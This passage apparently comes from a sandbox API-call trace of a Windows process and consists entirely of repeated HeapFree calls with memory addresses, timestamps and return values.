(in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.968] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0103.990] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0104.303] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0104.305] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.307] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.308] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.309] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.311] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.312] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.314] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.315] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.318] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.320] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.321] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.323] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.324] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.326] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.326] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0104.326] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0104.328] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0104.329] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.331] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.332] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.620] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.622] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.624] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.626] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.628] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.629] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.631] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.633] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.634] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.636] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.638] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.640] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.642] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.644] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.646] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.648] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.650] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.652] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.655] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.656] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.658] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0104.661] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.188] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.190] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.191] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.193] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.195] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.196] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.198] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.199] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.201] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.202] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.204] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.205] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.207] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.209] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.211] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.213] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.215] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.507] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.509] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.509] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0105.513] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.516] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.518] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.521] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.523] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.526] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.529] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.531] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.531] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.534] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.539] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.541] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.543] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.545] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.547] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.549] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.551] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.981] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.983] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.985] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.987] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.989] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.992] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.994] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.996] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0105.999] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.001] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.003] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.005] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.007] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.009] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.260] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.260] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.260] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.261] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.261] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.261] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.262] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.262] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.263] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.264] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.264] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.265] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.269] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.270] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.271] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.271] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.271] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.272] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.272] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.272] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.273] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.273] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.274] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.274] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.274] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.274] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.275] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.275] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.275] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.276] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.277] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.277] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.277] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.277] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.278] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.279] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.279] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.279] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.280] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.280] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.281] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x432bec8 | out: hHeap=0x440000) returned 1 [0106.282] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.284] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.288] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.290] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.293] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.296] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.298] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.301] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.588] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.592] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.595] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.599] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.602] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.605] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.608] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0106.609] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0106.609] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0106.617] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0107.158] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0107.158] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0107.162] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0107.166] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0107.171] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0107.171] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0107.173] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0107.173] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0107.173] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0107.190] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0107.190] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0107.505] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x431bec0 | out: hHeap=0x440000) returned 1 [0107.507] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.507] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.507] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0107.509] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0107.509] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.509] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eeef0 | out: hHeap=0x440000) returned 1 [0107.515] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.517] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.519] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.519] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0107.522] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0107.526] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0107.526] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x430beb8 | out: hHeap=0x440000) returned 1 [0107.526] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x42b3e90 | out: hHeap=0x440000) returned 1 [0107.526] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0107.858] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0107.858] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0107.877] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0107.878] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0107.878] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.058] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0108.079] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x43eedb8 | out: hHeap=0x440000) returned 1 [0108.087] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.088] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.089] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.534] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.536] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.536] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.537] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.538] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.538] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.538] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.538] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.538] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.539] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.539] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.539] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.539] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.539] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.539] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.540] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.540] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.540] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.540] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.540] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.541] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.541] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.541] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.541] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.541] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.542] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.542] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.542] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.542] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0108.542] HeapFree (in: hHeap=0x440000, 